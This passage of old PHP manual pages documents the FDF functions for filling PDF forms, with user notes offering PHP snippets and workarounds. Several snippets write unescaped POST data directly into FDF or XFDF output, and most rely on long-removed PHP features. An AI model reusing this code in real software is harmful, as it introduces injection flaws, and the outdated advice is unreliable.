  • fdf_get_opt â€” Gets a value from the opt array of a field
  • fdf_get_status â€” Get the value of the /STATUS key
  • fdf_get_value â€” Get the value of a field
  • fdf_get_version â€” Gets version number for FDF API or file
  • fdf_header â€” Sets FDF-specific output headers
  • fdf_next_field_name â€” Get the next field name
  • fdf_open_string â€” Read a FDF document from a string
  • fdf_open â€” Open a FDF document
  • fdf_remove_item â€” Sets target frame for form
  • fdf_save_string â€” Returns the FDF document as a string
  • fdf_save â€” Save a FDF document
  • fdf_set_ap â€” Set the appearance of a field
  • fdf_set_encoding â€” Sets FDF character encoding
  • fdf_set_file â€” Set PDF document to display FDF data in
  • fdf_set_flags â€” Sets a flag of a field
  • fdf_set_javascript_action â€” Sets an javascript action of a field
  • fdf_set_on_import_javascript â€” Adds javascript code to be executed when Acrobat opens the FDF
  • fdf_set_opt â€” Sets an option of a field
  • fdf_set_status â€” Set the value of the /STATUS key
  • fdf_set_submit_form_action â€” Sets a submit form action of a field
  • fdf_set_target_frame â€” Set target frame for form display
  • fdf_set_value â€” Set the value of a field
  • fdf_set_version â€” Sets version number for a FDF file

User Contributed Notes

bea dot el dot tea at gmail dot com 17-Aug-2011 06:01
If you can't get the php_fdf.dll working in PHP 5.3 on Windows, one possible work around is to use the activeX version from the "FDF Toolkit for Windows" from the Adobe website.  Here is part of a class I built for one of my projects.

<?php
class FDF{
    public $NormalAP = 0;
    public $RolloverAP = 1;
    public $DownAP = 2;

    protected $fdf;

    public function __construct(){
        $com = new COM('FdfApp.FdfApp');
        $this->fdf = $com->FDFCreate();
    }
    public function setFile($fileName){
        $this->fdf->FDFSetFile(str_replace(' ', '%20', $fileName));
    }
    public function setValue($name, $value){
        $this->fdf->FDFSetValue($name, $value, true);
    }
    public function setAP($field, $whichFace, $fileName, $pageNumber){
        $this->fdf->FDFSetAP($field, $whichFace, $fileName, $pageNumber);
    }
    public function savetoFile($saveFileName){
        $this->fdf->FDFSavetoFile($saveFileName);
    }
    public function close(){
        $this->fdf->FDFclose();
    }
}
?>
info at theindigoworks dot com 12-Jul-2007 05:49
re. g8z at yahoo dot com 18-Oct-2004 06:46

I think there is a line missing in

foreach ($keys as $key => $value)
    {
        $key = addcslashes($key, "\n\r\t\\()");
        $fdf .= "<< /T ($key) /V /$value >> \n";
    }

I have changed it to read

 $key = addcslashes($key, "\n\r\t\\()");
$value = addcslashes($value, "\n\r\t\\()");
   $fdf .= "<< /T ($key) /V /$value >> \n";

Now all the check boxes and radio buttons are populated, not just the last one in the form as was happening before.
wesley_grant at yahoo dot com 12-Jan-2006 12:37
Changing the

session.cache_limiter

directive in the php.ini file to 'private'

seems to resolve the issue with sending fdf data and session headers at the same time to Internet Explorer.
bmount at livid dot us 19-Oct-2005 05:05
For those of you struggling with FDF in Internet Explorer, here is your solution:

DO NOT INITIALIZE A SESSION ON THE PAGE THAT GENERATES AND OUTPUTS FDF DATA.

This will fix the page not found error.
03-May-2005 10:08
Use "Yes" instead of "On" to populate checkboxes.
g8z at yahoo dot com 18-Oct-2004 08:46
This is for users who are looking for a way to merge HTML form data with a PDF Form, then output the PDF Form with data populated in it, to a web browser.

This is a pure PHP solution which does NOT require the FDF toolkit. Contributed by www.TUFaT.com

<?php

// the full http path to the PDF form
$form = 'http://my_domain.com/my_pdf_form.pdf';

function create_fdf ($pdffile, $strings, $keys)
{
    $fdf = "%FDF-1.2\n%‚„œ”\n";
    $fdf .= "1 0 obj \n<< /FDF << /Fields [\n";

    foreach ($strings as $key => $value)
    {
        $key = addcslashes($key, "\n\r\t\\()");
        $value = addcslashes($value, "\n\r\t\\()");
        $fdf .= "<< /T ($key) /V ($value) >> \n";
    }
    foreach ($keys as $key => $value)
    {
        $key = addcslashes($key, "\n\r\t\\()");
        $fdf .= "<< /T ($key) /V /$value >> \n";
    }

    $fdf .= "]\n/F ($pdffile) >>";
    $fdf .= ">>\nendobj\ntrailer\n<<\n";
    $fdf .= "/Root 1 0 R \n\n>>\n";
    $fdf .= "%%EOF";

    return $fdf;
}

// Fill in text fields
$strings = array(
    'date' => '10/17/2004',
    'full_name' => 'Joe Doe',
    'phone_num' => '123-4567',
    'company' => 'ACME Widgets',
    'amount' => 'USD 100.00'
    );

// Fill in check boxes/radio buttons
$keys = array('
    gender' => 'male',//radio button
    'is_adult' => 'Off',//checkbox
    'urgent' => 'On'//checkbox
    );

// Output the PDF form, with form data filled-in
header('Content-type: application/vnd.fdf');
echo create_fdf($form, $strings, $keys);

?>
sid at accesspdf dot com 07-Oct-2004 08:09
Basic FDF data is easy to create using native PHP; you don't need Adobe's FDF Toolkit. I wrote a function for this purpose called forge_fdf(). You can download it from:

http://www.pdfhacks.com/forge_fdf/

I created it for my book, PDF Hacks. An example of forge_fdf() in action can be viewed online:

http://pdfhacks.com/form_session/form_session-1.1/

Download the full code for this online example from:

http://pdfhacks.com/form_session/

Note how the PDF form data is submitted back to the server via POST rather than FDF. No need to parse FDF.

Cheers-

Sid Steward
m1tk4 at hotmail dot com 01-Jul-2004 07:34
If you want to add FDF support without rebuilding your RedHat EL3 / Fedora PHP RPMs, see instructions at http://phprpms.sourceforge.net/fdf
software at yvanrodrigues dot com 25-Mar-2004 11:16
Do not use version 6 of the fdftk.dll (windows) with PHP4.3.4, use the one that comes with PHP.

If you use the newer DLL fdf_create will not return a valid handle.
fleischer at mail dot com 18-Dec-2003 04:40
The code suggested by greg@... and adam@... is extremely helpful, but I've found out (the hard way) that unclosed parentheses within strings contained in the input array ($values in greg's code or $pdf_data in adam's) will cause Acrobat to issue an error to the effect that the file is corrupted. In other words, if there are strings such as "a) my first point; b) my second point" in the input array, the resulting PDF/FDF file will be considered corrupted by Acrobat. This apparently happens because all the field names in the structure of an FDF file are enclosed in parentheses.

The solution I've devised is to escape all opening and closing parentheses with a backslash, which in turn means you need to escape all backslashes. The code below does all that.

Erik

---------------

function output_fdf ($pdf_file, $pdf_data)
{
    $fdf = "%FDF-1.2\n%‚„œ”\n";
    $fdf .= "1 0 obj \n<< /FDF ";
    $fdf .= "<< /Fields [\n";

    $search = array('\\', '(', ')');
    $replace = array('\\\\', '\(', '\)');
    foreach ($pdf_data as $key => $val)
    {
        $clean_key = str_replace($search, $replace, $key);
        $clean_val = str_replace($search, $replace, $val);
        $fdf .= "<< /V ($clean_val)/T ($clean_key) >> \n";
    }

    $fdf .= "]\n/F ($pdf_file) >>";
    $fdf .= ">>\nendobj\ntrailer\n<<\n";
    $fdf .= "/Root 1 0 R \n\n>>\n";
    $fdf .= "%%EOF";

    return $fdf;
}
mirage at rateaprof dot com 08-May-2003 02:33
If you get the new  fdftkv5.tar.gz  from adobe's site (per the link above), you'll get some totally new spacing and capitalization of files.  To make the current 4.3.1 configure, you need to do a few things.

untar fdftkv5.tar.gz into /usr/local
cd /usr/local
#for ease of use
ln -s FDFToolkit\ for\ UNIX fdf

cd fdf
ln -s Headers\ And\ Libraries HeadersAndLibraries

#may need to modify the following for your OS
ln -s LINUX linux
cd linux/C
ln -s LIBFDFTK.SO libfdftk.so

cd ..
cd ..
ln -s Headers headers
cd headers
ln -s FDFTK.H fdftk.h

And that should get you going... and to whoever is maintaining the configure script, please be aware there are changes in the FDF Toolkit.
Teemu 05-Mar-2003 03:17
Maybe you have to use Header-function that your browser will regonize xfdf-file. Like this:

Header( "Content-type: application/vnd.adobe.xfdf");
jeff at cowart dot net 20-Jan-2003 05:06
I have tried to use the scripts above by adam and Toppi and I have been unable to get them to work unless I save the generated fdf file and then open it manually in acrobat.
Toppi at i-Mehl dot De 26-Nov-2002 09:18
I tried a lot with FDF -> PDF and merging these documents...
in my opinon xfdf is more handy than fdf... for those who'd like to try: feel free to use this little function to generate an xfdf document from an array.

ToPPi

function array2xfdf($xfdf_data, $pdf_file) {
// Creates an XFDF File from a 2 dimensional
// Array Format: "array ("key1" => "content1", "key2" => "content2");
$xfdf = "<?xml version='1.0' encoding='UTF-8'?>\n";
$xfdf .= "<xfdf xmlns='http://ns.adobe.com/xfdf/' xml:space='preserve'>\n";
$xfdf .= "<fields>\n";
// Loop -> Array to XFDF Data
foreach ($xfdf_data as $key => $val) {
$xfdf .= "<field name='".$key."'>\n";
$xfdf .= "<value>".$val."</value>\n";
$xfdf .= "</field>\n";
};
// XFDF "Footer"
$xfdf .= "</fields>";
$xfdf .= "<f href='".$pdf_file."'/>";
$xfdf .= "</xfdf>";
return $xfdf;
}
mitka at actdev.com 22-Oct-2002 01:24
IMPORTANT:

If you handled the FDF POSTs via $HTTP_RAW_POST_DATA as in user contributed scripts above, it's good to know that once you decide to rebuild PHP with FDFToolkit support, $HTTP_RAW_POST_DATA will be undefined.

Good news - $HTTP_FDF_DATA _will_ be defined instead. (Look at the example above).To get the user contributed scripts working in both plain PHP and PHP+FDFToolkit use

 $HTTP_RAW_POST_DATA . $HTTP_FDF_DATA

where $HTTP_RAW_POST_DATA mentioned.

Dimitri Tarassenko
adam at andemyte dot com 02-Aug-2002 08:30
Here is yet another example of generating pre-filled PDFs without using the FDF functions. This function takes two args: a URL to the PDF (like "http://domain.com/path/to/form.pdf" and an array with all the field's values.

/*
    WARNING!! THIS FUNCTION SENDS HTTP HEADERS! It MUST be called before
    any content is spooled to the browser, or the function will fail!

    void output_fdf (string $pdf_file, array $pdf_data)

        $pdf_file:  a string containing a URL path to a PDF file on the
                    server. This PDF MUST exist and contain fields with
                    the names referenced by $pdf_data for this function
                    to work.
        $pdf_data:  an array of any fields in $pdf_file that you want to
                    populate, of the form key=>val; where the field
                    name is the key, and the field's value is in val.

*/

function output_fdf ($pdf_file, $pdf_data) {

    $fdf = "%FDF-1.2\n%‚„œ”\n";
    $fdf .= "1 0 obj \n<< /FDF ";
    $fdf .= "<< /Fields [\n";

    foreach ($pdf_data as $key => $val)
        $fdf .= "<< /V ($val)/T ($key) >> \n";

    $fdf .= "]\n/F ($pdf_file) >>";
    $fdf .= ">>\nendobj\ntrailer\n<<\n";
    $fdf .= "/Root 1 0 R \n\n>>\n";
    $fdf .= "%%EOF";

    /* Now we display the FDF data which causes Acrobat to start  */

    header ("Content-Type: application/vnd.fdf");
    print $fdf;

}
noah at NOSPAMbrandfidelity dot com 09-Mar-2002 05:26
function parse($file) {
                if (!preg_match_all("/<<\s*\/V([^>]*)>>/x",
$file,$out,PREG_SET_ORDER))
                        return;
                for ($i=0;$i<count($out);$i++) {
                        $pattern = "<<.*/V\s*(.*)\s*/T\s*(.*)\s*>>";
                        $thing = $out[$i][1];
                        if (eregi($pattern,$out[$i][0],$regs)) {
                                $key = $regs[2];
                                $val = $regs[1];
                                $key = preg_replace("/^\s*\(/","",$key);
                                $key = preg_replace("/\)$/","",$key);
                                $key = preg_replace("/\\\/","",$key);
                                $val = preg_replace("/^\s*\(/","",$val);
                                $val = preg_replace("/\)$/","",$val);
                                $matches[$key] = $val;
                        }
                }
                return $matches;
        }
gregDELETETHIS at laundrymat dot tv 22-Dec-2001 12:06
Here is an easy script to output fdf data to the browser without using the fdf toolkit or creating an actual fdf file on the server.
By the way acrobat is very picky about line breaks so you must leave the "\n" in the script. The script reads the variables posted to it from a form use POST and creates a fdf file from them. The field names posted to this script must match the field names in the pdf. Acrobat will ignore any that don't match.

<?php

//path to pdf file
$url="http://www.some_url.com/form.pdf";

$values=$HTTP_POST_VARS;

$fdfdata = "%FDF-1.2\n%‚„œ”\n";
$fdfdata .= "1 0 obj \n<< /FDF ";
$fdfdata .= "<< /Fields [\n";

//loop that adds the field names and values
foreach($values as $key=>$val)
    {
    $fdfdata.="<< /V ($val)/T ($key) >> ";
    }

$fdfdata .= "]\n";
$fdfdata .= "/F ($url) >>";
$fdfdata .= ">>\nendobj\ntrailer\n<<\n/Root 1 0 R\n>>\n";
$fdfdata .= "%%EOF";

/*** Now we display the FDF data which causes Acrobat to start  ***/

header ("Content-Type: application/vnd.fdf");
print $fdfdata;

?>

You can use javascript in the pdf to read the values from a GET method posted directly to the pdf. you can see both methods here: http://laundrymat.tv/pdf/
joe at koontz dot net 29-Apr-2000 01:42
The simplest thing to do is get the FDF data from $HTTP_RAW_POST_DATA.  (unless you have the server library installed none of the fdf data gets parsed!) This is typical of  what you get:
%FDF-1.2
1 0 obj
<<
/FDF << /Fields [ << /V (0)/T (amount0)>> << /V (0)/T (amount1)>> << /V (0)/T (amount2)>>
<< /V (0)/T (amount3)>> << /V (0)/T (amount4)>> << /V (0)/T (amount5)>>
<< /V (0)/T (amount6)>> << /V (0)/T (amount7)>> << /V (0)/T (amount8)>>
<< /V (0)/T (amount9)>> << /V /0102 /T (chase_bk)>> << /V (0)/T (count)>>
<< /V (0)/T (invtotal)>> << /V (12/21/2000)/T (sent_ap)>> << /V /Off /T (spec_hand)>>
<< /V (041232)/T (transit_no)>> << /V (THIS FORM IS NOT COMPLETE!!!)/T (X)>>
]
/F (http://x.com/forms/AA00390q.pdf)>>
>>
endobj
trailer
<<
/Root 1 0 R

>>
%%EOF
kill everything before the [ and then parse it down into key value pairs.
I wrote this to create an FDF, make sure you do a
header("Content-type: application/vnd.fdf");
before you echo the returned value to the user.

<?php
function FDFput($FDFpage){
 $A = "%FDF-1.2\n1 0 obj\n<< \n/FDF << /Fields [ \n";
 $C = " ] \n"    ;
     if ($FDFpage>"" ) {$C .=" /F ($FDFpage)>>\n";}
    $C .= ">>\n>> \nendobj\ntrailer\n\n<</Root 1 0 R>>\n%%EOF\n";
    $B = "";
 reset($FDFData);
 while (list($key, $val) = each($FDFData))
  {
  if (strlen(trim($val)) > 0 && is_string($key))
   {
    $B .= "<</T ($key) /V (". $val . ")>>\n";
//echo     "<</T ($key) /V (". $val . ")>>\n";
                }
  }
    return $A.$B.$C;
}
?>

It ain't perfect - but it works. (I use HTML for posting to the server, FDF to the browser)
joe


Adds javascript code to the FDF document

  • « FDF Functions
  • fdf_add_template »
  • PHP Manual
  • FDF Functions
  • Adds javascript code to the FDF document

fdf_add_doc_javascript

(PHP 4 >= 4.3.0, PHP 5)

fdf_add_doc_javascript — Adds javascript code to the FDF document

Description

bool fdf_add_doc_javascript ( resource $fdf_document , string $script_name , string $script_code )

Adds a script to the FDF, which Acrobat then adds to the doc-level scripts of a document, once the FDF is imported into it.

Parameters

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

script_name

The script name.

script_code

The script code. It is strongly suggested to use \r for linebreaks within the script code.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Adding JavaScript code to a FDF

<?php
$fdf = fdf_create();
fdf_add_doc_javascript($fdf, "PlusOne", "function PlusOne(x)\r{\r  return x+1;\r}\r");
fdf_save($fdf);
?>

will create a FDF like this:

%FDF-1.2
%âãÏÓ
1 0 obj
<<
/FDF << /JavaScript << /Doc [ (PlusOne)(function PlusOne\(x\)\r{\r  return x+1;\r}\r)] >> >>
>>
endobj
trailer
<<
/Root 1 0 R

>>
%%EOF

User Contributed Notes

There are no user contributed notes for this page.


Adds a template into the FDF document

  • « fdf_add_doc_javascript
  • fdf_close »
  • PHP Manual
  • FDF Functions
  • Adds a template into the FDF document

fdf_add_template

(PHP 4, PHP 5)

fdf_add_template — Adds a template into the FDF document

Description

bool fdf_add_template ( resource $fdf_document , int $newpage , string $filename , string $template , int $rename )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Close an FDF document

  • « fdf_add_template
  • fdf_create »
  • PHP Manual
  • FDF Functions
  • Close an FDF document

fdf_close

(PHP 4, PHP 5)

fdf_close — Close an FDF document

Description

void fdf_close ( resource $fdf_document )

Closes the FDF document.

Parameters

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

Return Values

No value is returned.

See Also

  • fdf_open() - Open a FDF document

User Contributed Notes

There are no user contributed notes for this page.


Create a new FDF document

  • « fdf_close
  • fdf_enum_values »
  • PHP Manual
  • FDF Functions
  • Create a new FDF document

fdf_create

(PHP 4, PHP 5)

fdf_create — Create a new FDF document

Description

resource fdf_create ( void )

Creates a new FDF document.

This function is needed if one would like to populate input fields in a PDF document with data.

Return Values

Returns a FDF document handle, or FALSE on error.

Examples

Example #1 Populating a PDF document

<?php
$outfdf = fdf_create();
fdf_set_value($outfdf, "volume", $volume, 0);

fdf_set_file($outfdf, "http:/testfdf/resultlabel.pdf");
fdf_save($outfdf, "outtest.fdf");
fdf_close($outfdf);
Header("Content-type: application/vnd.fdf");
$fp = fopen("outtest.fdf", "r");
fpassthru($fp);
unlink("outtest.fdf");
?>

See Also

  • fdf_close() - Close an FDF document
  • fdf_save() - Save a FDF document
  • fdf_open() - Open a FDF document

User Contributed Notes

jwadhwani at pobox dot com 06-Jun-2006 05:08
For fdf_save you need to provide the complete path, such as :fdf_save($outfdf,"c:/inetpub/wwwroot/temp_sites/fdf/outtest.fdf"); and not only outtest.fdf.
Punkisdead 04-Oct-2003 09:03
<?php
$outfdf = fdf_create();
$volume = "test";
fdf_set_value($outfdf, "volume", $volume, 0);

fdf_set_file($outfdf, "http://localhost/webapps/volume.pdf");
Header("Content-type: application/vnd.fdf");
fdf_save($outfdf);
fdf_close($outfdf);

?>

This works for IE 5.5+

It will populate the fields and open the resulting pdf for you, without having to create an fdf file and adding the open script to the pdf...
mlarke at nanuc dot ca 11-Aug-2003 02:14
Header("Content-type: application/vnd.fdf"); simply does not work in IE. The easiest method to automatically load the fdf file is to open the 'pdf' file via php. With use of Acrobat
document -> page action -> page open -> add -> javascript
and paste the following into the pdf file:

this.importAnFDF("my_fdf_file.fdf");

This will auto-load the fdf contents
Cheers Mike
Sergei 17-Mar-2003 08:43
I thought the following might save someone a lot of time. The example fdf snippet above, namely:

<?php
$outfdf = fdf_create();
fdf_set_value($outfdf, "volume", $volume, 0);

fdf_set_file($outfdf, "http:/testfdf/resultlabel.pdf");
fdf_save($outfdf, "outtest.fdf");
fdf_close($outfdf);
Header("Content-type: application/vnd.fdf");
$fp = fopen("outtest.fdf", "r");
fpassthru($fp);
unlink("outtest.fdf");
?>

will not work (or there's at least a big possibility it won't) in IE (version 6 sure and I suspect lower versions as well) if you have session.auto_start on. Apparently, setting a cookie before feeding the fdf to the browser somehow messes it up. It works fine in Netscape though. I spent days on Google before I found a post somewhere about someone else having the same problem.

The solution? Well, I created a separate directory in the web tree and turned session.auto_start off just for that directory like this:

<Location /new_directory>
    php_admin_flag session.auto_start 0
</Location>

Hope this was useful to somebody.


Call a user defined function for each document value

  • « fdf_create
  • fdf_errno »
  • PHP Manual
  • FDF Functions
  • Call a user defined function for each document value

fdf_enum_values

(PHP 4 >= 4.3.0, PHP 5)

fdf_enum_values — Call a user defined function for each document value

Description

bool fdf_enum_values ( resource $fdf_document , callable $function [, mixed $userdata ] )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

ceo at l-i-e dot com 10-Jul-2003 08:13
If you need something like this in a pre 4.3 version, here is a rough hack I was working on before I realized I didn't need this after all.

        preg_match('/Fields\[(.*)\]/', $raw_pdf, $field_data);
        echo "Fields: ", htmlentities($field_data[1]), "<HR>\n";
        $field_data = $field_data[1];
        $key_value = explode(">><<", $field_data);
        $key_value[0] = substr($key_value[0], 2);
        $key_value[count($key_value) - 1] = substr($key_value[count($key_value) - 1], 0, -2);
        while (list(, $kv) = each($key_value)){
                list($key, $value) = explode("/V", $kv);
                $key = substr($key, 2);
                if ($key[0] == '('){
                        $key = substr($key, 1, -1);
                }
                if ($value[0] == '/'){
                        $value = substr($value, 1);
                }
                if ($value[0] == '('){
                        $value = substr($value, 1, -1);
                }
                echo "Key: $key Value: $value<BR>\n";
        }

The $raw_pdf can either be the $HTTP_RAW_POST_DATA before you write a submitted PDF, or it can just be the raw PDF data you would read from a PDF using, say:
$raw_pdf = implode("", file("/path/to/your/fdf/whatever.pdf"));

You'll probably need to tweak this to do something more interesting than just printing the stuff.

Hmmmm.  Think they'll throw me in jail for this post?  Oh well.


Return error code for last fdf operation

  • « fdf_enum_values
  • fdf_error »
  • PHP Manual
  • FDF Functions
  • Return error code for last fdf operation

fdf_errno

(PHP 4 >= 4.3.0, PHP 5)

fdf_errno — Return error code for last fdf operation

Description

int fdf_errno ( void )

Gets the error code set by the last FDF function call.

A textual description of the error may be obtained using with fdf_error().

Return Values

Returns the error code as an integer, or zero if there was no errors.

See Also

  • fdf_error() - Return error description for FDF error code

User Contributed Notes

There are no user contributed notes for this page.


Return error description for FDF error code

  • « fdf_errno
  • fdf_get_ap »
  • PHP Manual
  • FDF Functions
  • Return error description for FDF error code

fdf_error

(PHP 4 >= 4.3.0, PHP 5)

fdf_error — Return error description for FDF error code

Description

string fdf_error ([ int $error_code = -1 ] )

Gets a textual description for the FDF error code given in error_code.

Parameters

error_code

An error code obtained with fdf_errno(). If not provided, this function uses the internal error code set by the last operation.

Return Values

Returns the error message as a string, or the string no error if nothing went wrong.

See Also

  • fdf_errno() - Return error code for last fdf operation

User Contributed Notes

There are no user contributed notes for this page.


Get the appearance of a field

  • « fdf_error
  • fdf_get_attachment »
  • PHP Manual
  • FDF Functions
  • Get the appearance of a field

fdf_get_ap

(PHP 4 >= 4.3.0, PHP 5)

fdf_get_ap — Get the appearance of a field

Description

bool fdf_get_ap ( resource $fdf_document , string $field , int $face , string $filename )

Gets the appearance of a field (i.e. the value of the /AP key) and stores it in a file.

Parameters

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

field

face

The possible values are FDFNormalAP, FDFRolloverAP and FDFDownAP.

filename

The appearance will be stored in this parameter.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Extracts uploaded file embedded in the FDF

  • « fdf_get_ap
  • fdf_get_encoding »
  • PHP Manual
  • FDF Functions
  • Extracts uploaded file embedded in the FDF

fdf_get_attachment

(PHP 4 >= 4.3.0, PHP 5)

fdf_get_attachment — Extracts uploaded file embedded in the FDF

Description

array fdf_get_attachment ( resource $fdf_document , string $fieldname , string $savepath )

Extracts a file uploaded by means of the "file selection" field fieldname and stores it under savepath.

Parameters

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

fieldname

savepath

May be the name of a plain file or an existing directory in which the file is to be created under its original name. Any existing file under the same name will be overwritten.

Note:

There seems to be no other way to find out the original filename but to store the file using a directory as savepath and check for the basename it was stored under.

Return Values

The returned array contains the following fields:

  • path - path were the file got stored
  • size - size of the stored file in bytes
  • type - mimetype if given in the FDF

Examples

Example #1 Storing an uploaded file

<?php
  $fdf = fdf_open_string($HTTP_FDF_DATA);
  $data = fdf_get_attachment($fdf, "filename", "/tmpdir");
  echo "The uploaded file is stored in $data[path]";
?>

User Contributed Notes

There are no user contributed notes for this page.


Get the value of the /Encoding key

  • « fdf_get_attachment
  • fdf_get_file »
  • PHP Manual
  • FDF Functions
  • Get the value of the /Encoding key

fdf_get_encoding

(PHP 4 >= 4.3.0, PHP 5)

fdf_get_encoding — Get the value of the /Encoding key

Description

string fdf_get_encoding ( resource $fdf_document )

Gets the value of the /Encoding key.

Parameters

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

Return Values

Returns the encoding as a string. An empty string is returned if the default PDFDocEncoding/Unicode scheme is used.

See Also

  • fdf_set_encoding() - Sets FDF character encoding

User Contributed Notes

There are no user contributed notes for this page.


Get the value of the /F key

  • « fdf_get_encoding
  • fdf_get_flags »
  • PHP Manual
  • FDF Functions
  • Get the value of the /F key

fdf_get_file

(PHP 4, PHP 5)

fdf_get_file — Get the value of the /F key

Description

string fdf_get_file ( resource $fdf_document )

Gets the value of the /F key.

Parameters

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

Return Values

Returns the key value, as a string.

See Also

  • fdf_set_file() - Set PDF document to display FDF data in

User Contributed Notes

There are no user contributed notes for this page.


Gets the flags of a field

  • « fdf_get_file
  • fdf_get_opt »
  • PHP Manual
  • FDF Functions
  • Gets the flags of a field

fdf_get_flags

(PHP 4 >= 4.3.0, PHP 5)

fdf_get_flags — Gets the flags of a field

Description

int fdf_get_flags ( resource $fdf_document , string $fieldname , int $whichflags )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Gets a value from the opt array of a field

  • « fdf_get_flags
  • fdf_get_status »
  • PHP Manual
  • FDF Functions
  • Gets a value from the opt array of a field

fdf_get_opt

(PHP 4 >= 4.3.0, PHP 5)

fdf_get_opt — Gets a value from the opt array of a field

Description

mixed fdf_get_opt ( resource $fdf_document , string $fieldname [, int $element = -1 ] )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Get the value of the /STATUS key

  • « fdf_get_opt
  • fdf_get_value »
  • PHP Manual
  • FDF Functions
  • Get the value of the /STATUS key

fdf_get_status

(PHP 4, PHP 5)

fdf_get_status — Get the value of the /STATUS key

Description

string fdf_get_status ( resource $fdf_document )

Gets the value of the /STATUS key.

Parameters

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

Return Values

Returns the key value, as a string.

See Also

  • fdf_set_status() - Set the value of the /STATUS key

User Contributed Notes

There are no user contributed notes for this page.


Get the value of a field

  • « fdf_get_status
  • fdf_get_version »
  • PHP Manual
  • FDF Functions
  • Get the value of a field

fdf_get_value

(PHP 4, PHP 5)

fdf_get_value — Get the value of a field

Description

mixed fdf_get_value ( resource $fdf_document , string $fieldname [, int $which = -1 ] )

Gets the value for the requested field.

Parameters

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

fieldname

Name of the FDF field, as a string.

which

Elements of an array field can be retrieved by passing this optional parameter, starting at zero. For non-array fields, this parameter will be ignored.

Return Values

Returns the field value.

Changelog

Version | Description
4.3.0 | Support for arrays and the which parameter were added.

See Also

  • fdf_set_value() - Set the value of a field

User Contributed Notes

mclinden at informed dot net 17-Sep-2002 11:35
(i filed a bug report/feature request for this on bugs.php.net and assigned it to myself hartmut@php.net)

The default behavior for the FDF Toolkit is to return an FDFErcNoValue for the FDFGetValue when the field exists but has no value.

Whether or not this is truly an error is debateable. It seems to become an issue in documents created by Acrobat 5 when optional fields are included in a form with required fields since the default behavior seems to be to populate the HTTP_FDF_DATA with the results of the FDFNextFieldName enumerator, which would include the fields which have no value.

This would not be a problem except that the PHP function fdf_get_value() does not specifically test for the FDFErcNoValue condition but, instead, tests for the more general FDFErcOK. If this value is not the result of the error code, the system issues warnings (the display of which could be turned off), but the broader question is, should this be a warning condition at all?

Put another way, should a return of FDFErcNoValue for FDFGetValue be considered an event worth generating a warning?


Gets version number for FDF API or file

  • « fdf_get_value
  • fdf_header »
  • PHP Manual
  • FDF Functions
  • Gets version number for FDF API or file

fdf_get_version

(PHP 4 >= 4.3.0, PHP 5)

fdf_get_version — Gets version number for FDF API or file

Description

string fdf_get_version ([ resource $fdf_document ] )

Return the FDF version for the given document, or the toolkit API version number if no parameter is given.

Parameters

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

Return Values

Returns the version as a string. For the current FDF toolkit 5.0 the API version number is 5.0 and the document version number is either 1.2, 1.3 or 1.4.

See Also

  • fdf_set_version() - Sets version number for a FDF file

User Contributed Notes

There are no user contributed notes for this page.


Sets FDF-specific output headers

  • « fdf_get_version
  • fdf_next_field_name »
  • PHP Manual
  • FDF Functions
  • Sets FDF-specific output headers

fdf_header

(PHP 4 >= 4.3.0, PHP 5)

fdf_header — Sets FDF-specific output headers

Description

void fdf_header ( void )

This is a convenience function to set appropriate HTTP headers for FDF output. It sets the Content-type: to application/vnd.fdf.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Get the next field name

  • « fdf_header
  • fdf_open_string »
  • PHP Manual
  • FDF Functions
  • Get the next field name

fdf_next_field_name

(PHP 4, PHP 5)

fdf_next_field_name — Get the next field name

Description

string fdf_next_field_name ( resource $fdf_document [, string $fieldname ] )

Gets the name of the field after the given field. This name can be used with several functions.

Parameters

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

fieldname

Name of the FDF field, as a string. If not given, the first field will be assumed.

Return Values

Returns the field name as a string.

Examples

Example #1 Detecting all fieldnames in a FDF

<?php
$fdf = fdf_open($HTTP_FDF_DATA);
for ($field = fdf_next_field_name($fdf);
    $field != "";
    $field = fdf_next_field_name($fdf, $field)) {
    echo "field: $field\n";
}
?>

See Also

  • fdf_get_value() - Get the value of a field

User Contributed Notes

There are no user contributed notes for this page.


Read a FDF document from a string

  • « fdf_next_field_name
  • fdf_open »
  • PHP Manual
  • FDF Functions
  • Read a FDF document from a string

fdf_open_string

(PHP 4 >= 4.3.0, PHP 5)

fdf_open_string — Read a FDF document from a string

Description

resource fdf_open_string ( string $fdf_data )

Reads form data from a string.

You can use fdf_open_string() together with $HTTP_FDF_DATA to process FDF form input from a remote client.

Parameters

fdf_data

The data as returned from a PDF form or created using fdf_create() and fdf_save_string().

Return Values

Returns a FDF document handle, or FALSE on error.

Examples

Example #1 Accessing the form data

<?php
$fdf = fdf_open_string($HTTP_FDF_DATA);
/* ... */
fdf_close($fdf);
?>

See Also

  • fdf_open() - Open a FDF document
  • fdf_close() - Close an FDF document
  • fdf_create() - Create a new FDF document
  • fdf_save_string() - Returns the FDF document as a string

User Contributed Notes

There are no user contributed notes for this page.


Open a FDF document

  • « fdf_open_string
  • fdf_remove_item »
  • PHP Manual
  • FDF Functions
  • Open a FDF document

fdf_open

(PHP 4, PHP 5)

fdf_open — Open a FDF document

Description

resource fdf_open ( string $filename )

Opens a file with form data.

You can also use fdf_open_string() to process the results of a PDF form POST request.

Parameters

filename

Path to the FDF file. This file must contain the data as returned from a PDF form or created using fdf_create() and fdf_save().

Return Values

Returns a FDF document handle, or FALSE on error.

Examples

Example #1 Accessing the form data

<?php
// Save the FDF data into a temp file
